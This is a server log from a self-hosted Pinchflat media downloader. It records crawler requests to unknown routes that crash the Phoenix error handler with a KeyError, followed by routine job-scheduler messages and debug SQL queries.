{PinchflatWeb.Router, :ca (truncated) 18:58:59.292 [error] #PID<0.1305244.0> running PinchflatWeb.Endpoint (connection #PID<0.1305240.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43716}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305244.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfLuYR4r_e_1AADNcS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43716}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 43716}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305244.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfLuYR4r_e_1AADNcS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [fil (truncated) 18:59:00.966 [info] {"source":"oban","duration":415,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:59:16.663 [info] {"source":"oban","duration":2981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:24.765 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:59:27.960 [info] GET /sources/2/force_download_pending 18:59:27.960 [info] GET /sources/2 18:59:27.960 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 18:59:27.963 [debug] QUERY OK source="sources" db=1.0ms queue=0.8ms idle=1410.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:59:27.964 [debug] QUERY OK source="settings" db=3.3ms queue=0.1ms idle=1707.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:27.965 [debug] QUERY OK source="settings" db=1.2ms idle=879.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:27.966 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:59:27.966 [debug] QUERY OK source="media_profiles" db=1.9ms queue=0.8ms idle=878.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:27.969 [debug] QUERY OK source="tasks" db=2.0ms queue=0.3ms idle=710.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 18:59:27.972 [debug] QUERY OK source="oban_jobs" db=1.9ms queue=0.3ms idle=7.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2364] 18:59:27.967 [error] #PID<0.1305258.0> running PinchflatWeb.Endpoint (connection #PID<0.1305259.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305259.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 36672}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305258.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfNZMkH3PCqtUADNcy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305259.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 36672}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1305259.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 36672}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1305258.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgfNZMkH3PCqtUADNcy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, st (truncated) 18:59:27.975 [debug] QUERY OK source="settings" db=2.5ms queue=0.3ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:27.977 [debug] QUERY OK source="settings" db=0.9ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:27.981 [debug] QUERY OK source="settings" db=2.9ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:27.985 [debug] QUERY OK source="sources" db=1.7ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:59:27.987 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=13.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:59:27.990 [debug] QUERY OK source="media_items" db=1.9ms queue=0.3ms idle=11.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:59:27.992 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:59:27.994 [debug] QUERY OK source="media_items" db=1.1ms queue=0.6ms idle=11.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:59:28.089 [debug] QUERY OK source="media_items" db=94.9ms idle=9.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:59:28.093 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=104.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:59:28.095 [debug] QUERY OK source="media_items" db=1.1ms idle=103.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 18:59:28.097 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=103.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:59:28.100 [info] Sent 200 in 140ms 18:59:46.665 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.967 [info] {"source":"oban","duration":590,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:00:16.667 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:40.207 [info] GET /media_profiles/new 19:00:40.207 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 19:00:40.207 [info] GET /media_profiles/1 19:00:40.208 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 19:00:40.210 [debug] QUERY OK source="settings" db=1.7ms queue=0.1ms idle=742.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.210 [debug] QUERY OK source="media_profiles" db=1.2ms idle=110.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:00:40.211 [debug] QUERY OK source="settings" db=0.8ms idle=112.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.212 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=113.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.215 [debug] QUERY OK source="settings" db=0.5ms queue=1.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.216 [debug] QUERY OK source="sources" db=2.6ms queue=1.4ms idle=114.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 